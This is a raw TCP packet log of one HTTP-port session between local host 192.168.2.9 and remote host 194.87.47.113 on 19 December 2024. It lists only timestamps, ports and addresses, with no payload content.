Dec 19, 2024 08:01:03.886797905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.886873007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.886910915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.886921883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.886934042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.886975050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.887903929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.887937069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.887949944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.887978077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.888771057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.888807058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.888820887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.888855934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.888875008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.889717102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.889787912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.889837980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.923408031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.923460960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.923472881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.923522949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.923857927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.923899889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.923938990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.924406052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.924441099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.924454927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.924457073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.924638033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.925447941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.925482988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.925493956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.925558090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.926297903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.926338911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.926352024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.926353931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.926392078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.927239895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.927263021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.927278996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.927309990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.928215027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.928241014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.928251982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.928280115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.928292990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.929157019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.929181099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.929192066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.929229975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.930073977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.930115938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.930119991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.930217028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.930253983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.931073904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.931102037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.931114912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.931152105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.931972980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.932049036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.932060957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.932096958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.932111979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.932944059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.932986975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.933001041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.933028936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.933964968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.933980942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.933995008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.934019089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.934030056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.934871912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.934896946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.934907913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.934942961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.935807943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.935849905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.935857058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.935863018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.935899019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.936794996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.936860085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.936871052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.936908007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.937685013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.937730074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.937741041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.937804937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.937804937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.938697100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.938780069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.938792944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.938837051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.939594030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.939644098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.939651966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.939656973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.939692020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.940690994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.940757990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.940771103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.940798998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.941495895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.941518068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.941550016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.941554070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.941581964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.942473888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.942513943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.942528009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.942563057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.943416119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.943449974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.943461895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.943489075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.943512917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.944417000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.944448948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.944463015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.944500923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.945317984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.945512056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.945595980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.945661068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.945673943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.945713043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.946566105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.946614027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.946628094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.946639061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.946679115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.947840929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.947880983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.947892904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.947927952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.948987007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.948998928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.949011087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.949063063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.949413061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.949492931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.949503899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.949539900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.950366974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.950412035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.950427055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.950433016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.950458050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.951335907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.951371908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.951385021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.951415062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.952204943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.952286959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.078820944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.078860998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.078875065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.078912020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.079258919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.079305887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.079319000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.079332113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.079365969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.080243111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.080282927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.080296040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.080329895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.081249952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.081267118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.081279993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.081290007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.081319094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.082123041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.082192898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.082268953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.115946054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.115984917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.115998983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.116103888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.118726015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118752003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118763924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118779898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.118809938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.118922949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118936062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118947983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118959904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.118974924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.119014978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.119096041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.119112015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.119162083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.119225025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.119236946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.119249105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.119334936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.120181084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.120223999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.120239973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.120250940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.120290995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.121298075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.121443987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.121525049 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.121897936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.121957064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.121969938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.121999979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.123073101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.123135090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.123146057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.123174906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.123192072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.124140024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.124169111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.124175072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.124245882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.125047922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.125077009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.125092030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.125121117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.125149965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.125678062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.125693083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.125705957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.125761032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.126445055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.126487017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.126499891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.126503944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.126648903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.127401114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.127428055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.127439976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.127470970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.128356934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.128401041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.128412962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.128438950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.128468037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.129297018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.129324913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.129337072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.129386902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.130273104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.130326986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.130347967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.130362034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.130441904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.131187916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.131231070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.131242037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.131285906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.132133961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.132186890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.132199049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.132220030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.132241011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.133080959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.133146048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.133157969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.133194923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.134041071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.134078026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.134090900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.134128094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.135066032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.135108948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.135122061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.135163069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.135951996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.135989904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.136002064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.136010885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.136039019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.136921883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.137051105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.137065887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.137089968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.137870073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.137914896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.137917042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.137932062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.137978077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.138843060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.138873100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.138885021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.138911963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.139818907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.139851093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.139859915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.139863014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.139906883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.140733004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.140774012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.140786886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.140811920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.141680956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.141706944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.141719103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.141737938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.141767025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.142611027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.142658949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.142671108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.142699957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.143577099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.143631935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.143642902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.143645048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.143810034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.144498110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.185647011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.270903111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.270930052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.270941973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.270992041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.271364927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.271405935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.271435976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.271450043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.271482944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.272399902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.272453070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.272468090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.272535086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.273925066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.273938894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.273952007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.273987055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.274003983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.274483919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.274555922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:04.275301933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:04.308028936 CET	80	49739	194.87.47.113	192.168.2.9
